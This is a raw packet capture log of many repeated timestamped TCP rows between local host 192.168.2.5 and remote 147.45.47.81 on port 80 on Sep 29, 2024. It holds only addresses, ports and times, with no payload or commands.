Sep 29, 2024 09:44:14.410902977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.410975933 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.410984993 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.411039114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411092043 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.411117077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411233902 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411279917 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411283970 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.411328077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411372900 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.411407948 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411468029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411514044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411518097 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.411576033 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411617994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411623955 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.411664009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411715984 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.411731958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411775112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411818027 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.411818027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411868095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411909103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.411915064 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.411969900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412015915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412019014 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412075996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412122011 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412122011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412183046 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412230015 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412230015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412271976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412316084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412316084 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412363052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412406921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412410021 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412453890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412497997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412499905 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412560940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412606001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412607908 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412652969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412703037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412715912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412763119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412808895 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412811041 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412853956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412894964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412900925 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.412940025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412985086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.412986040 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413027048 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413072109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413073063 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413119078 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413163900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413168907 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413208961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413254976 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413269997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413315058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413358927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413366079 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413404942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413450003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413451910 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413501024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413542032 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413547039 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413587093 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413633108 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413634062 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413676023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413722992 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413722992 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413767099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413811922 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413815022 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413856030 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413898945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413903952 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.413944006 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413985014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.413989067 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414031982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414074898 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414077997 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414120913 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414165020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414165974 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414206982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414252043 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414258003 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414298058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414338112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414344072 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414383888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414427996 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414429903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414472103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414516926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414518118 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414561987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414607048 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414608955 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414654016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414694071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414697886 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414741039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414787054 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414787054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414828062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414871931 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414875031 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414918900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.414963961 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.414964914 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415013075 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415055990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415059090 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415105104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415148973 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415149927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415196896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415241957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415241957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415288925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415333033 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415333986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415380001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415424109 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415456057 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415503025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415548086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415551901 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415594101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415636063 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415638924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415685892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415730953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415733099 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415777922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415817976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415831089 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415864944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415910006 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.415924072 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.415961027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416006088 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416009903 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.416066885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416111946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416111946 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.416157961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416199923 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.416203022 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416249037 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416295052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416297913 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.416340113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416385889 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416387081 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.416431904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416476965 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416481018 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.416522980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416568995 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416568995 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.416614056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416656017 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.416661024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416707993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416754961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416755915 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.416812897 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.416862965 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.485061884 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.485127926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.485173941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.485198975 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.485220909 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.485266924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.485272884 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.485312939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.485358953 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.485358953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.485420942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.485459089 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.497778893 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.497823000 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.497886896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.497888088 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.497951984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498003960 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498012066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498059988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498104095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498106956 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498166084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498210907 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498210907 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498258114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498306036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498320103 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498366117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498410940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498440027 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498455048 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498517036 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498517036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498581886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498622894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498626947 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498684883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498729944 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498732090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498778105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498831034 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498838902 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498884916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498930931 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.498934031 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.498975039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499020100 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499036074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499098063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499141932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499146938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499186993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499231100 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499238014 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499278069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499322891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499326944 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499368906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499414921 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499470949 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499516010 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499558926 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499561071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499607086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499649048 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499651909 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499700069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499743938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499762058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499809027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499850988 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499869108 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499916077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.499959946 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.499962091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500008106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500050068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500068903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500129938 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500175953 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500174999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500224113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500266075 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500268936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500314951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500358105 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500360966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500408888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500454903 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500458002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500504017 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500545025 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500547886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500593901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500637054 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500639915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500684977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500725985 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500730038 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500776052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500817060 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500819921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500866890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500910997 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.500911951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500957966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.500998974 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501000881 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501049042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501089096 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501094103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501138926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501178980 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501178980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501224041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501267910 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501270056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501316071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501362085 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501363039 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501408100 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501452923 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501454115 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501497984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501535892 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501543045 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501588106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501630068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501632929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501677990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501718998 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501727104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501773119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501815081 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501817942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501857996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501894951 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501900911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501946926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.501991034 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.501991987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502038956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502079010 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.502084970 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502130032 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502172947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502180099 CEST	49706	80	192.168.2.5	147.45.47.81
